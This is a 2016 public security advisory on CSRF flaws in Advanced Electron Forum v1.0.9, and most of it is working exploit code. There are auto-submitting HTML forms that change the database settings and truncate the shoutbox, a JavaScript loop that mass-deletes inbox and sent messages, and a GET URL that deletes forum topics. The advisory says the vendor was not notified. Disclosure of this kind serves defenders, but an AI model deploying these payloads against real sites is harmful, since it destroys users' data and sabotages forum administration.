[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AEF-CSRF.txt



Vendor:
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www.anelectron.com/downloads/



Product:
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Advanced Electron Forum v1.0.9 (AEF)
Exploit patched current version.



Vulnerability Type:
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CSRF



CVE Reference:
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N/A



Vulnerability Details:
=====================

In Admin panel no CSRF protections exist in multiple areas allowing remote
attackers to make HTTP request on behalf of the victim if they
currently have a valid session (logged in) and visit or click an infected
link, resulting in some of the following destructions.

0x01: Change current database settings

0x02: Delete all Inbox / Sent Emails

0x03: Delete all 'shouts'

0x04: Delete all Topics

by the way, edit profile, avatar and more all seem vulnerable as well..


Exploit code(s):
===============

CSRF 0x01:

change mysql db settings
note: however you will need to know or guess the database name.

<form id="DOOM" accept-charset="ISO-8859-1" action="
http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=conpan&seadact=mysqlset"
method="post" name="mysqlsetform">
<input type="hidden" name="server" value="hyp3rlinx.altervista.org" />
<input type="hidden" name="user" value="hyp3rlinx" />
<input type="hidden" name="password" value="DESTROYED" />
<input type="hidden" name="database" value="AEF" />
<input type="hidden" name="dbprefix" value="aef_" />
<script>document.getElementById('DOOM').submit()</script>
</form>


CSRF 0x02:

Delete all Inbox / Sent emails...

<iframe name="demonz" style="display:none" name="hidden-form"></iframe>

<form id="DESTRUCT" target="demonz" action="
http://localhost/AEF(1.0.9)_Install/index.php?act=usercp&ucpact=sentitems"
method="post">
<input type="hidden" id="sent" name="list[]"  />
<input type="hidden" name="deleteselsent" value="Delete+Selected" />
</form>

<form id="DOOM" target="demonz" action="
http://localhost/AEF(1.0.9)_Install/index.php?act=usercp&ucpact=inbox"
method="post">
<input type="hidden" id="inbox" name="list[]"  />
<input type="hidden" name="deleteselinbox" value="Delete+Selected" />
</form>

<script>
//Sent Email IDs seem to be stored using even numbers 2,4,6 etc...
//Inbox Email IDs seem to use odd numbers
var c=-1
var uwillsuffer;
var amttodelete=10000
var inbox=document.getElementById("inbox")
var outbox=document.getElementById("sent")

function RUIN_EVERYTHING(){
c++
//Inbox IDs are even numbered Sent are odd.
if(c % 2 == 0){
arguments[3].value=c
document.getElementById(arguments[1]).submit()
}else{
arguments[2].value=c
document.getElementById(arguments[0]).submit()
}
if(c>=amttodelete){
  clearInterval(uwillsuffer)
  alert("Done!")
 }
}
uwillsuffer = setInterval(RUIN_EVERYTHING, 1000, "DOOM", "DESTRUCT", inbox,
outbox)
</script>



CSRF 0x03:

Delete all 'Shouts'

<form accept-charset="ISO-8859-1" id="SPECTOR_OF_HATE" action="
http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=conpan&seadact=shoutboxset"
method="post">
<input type="hidden" name="shouts" value="10" />
<input type="hidden" name="shoutboxtime" value="1440" />
<input type="hidden" name="shoutbox_emot" value="on" />
<input type="hidden" name="shoutbox_nbbc" value="on" />
<input type="hidden" name="truncatetable" value="on" />
<input type="hidden" name="delallshouts" value="Delete" />
<script>document.getElementById('SPECTOR_OF_HATE').submit()</script>
</form>


CSRF 0x04:

Delete all 'Topics' via simple GET request, this will delete topics 1 thru
7...

http://localhost/AEF(1.0.9)_Install/index.php?act=deletetopic&topid=7,6,5,4,3,2,1


Disclosure Timeline:
=======================================
Vendor Notification:  NA
January 17, 2016   : Public Disclosure




Exploitation Technique:
======================
Remote



Severity Level:
================
High



Description:
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Request Method(s):         [+] POST / GET


Vulnerable Product:        [+] AEF v1.0.9 (exploit patched version)


===================================================================

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by hyp3rlinx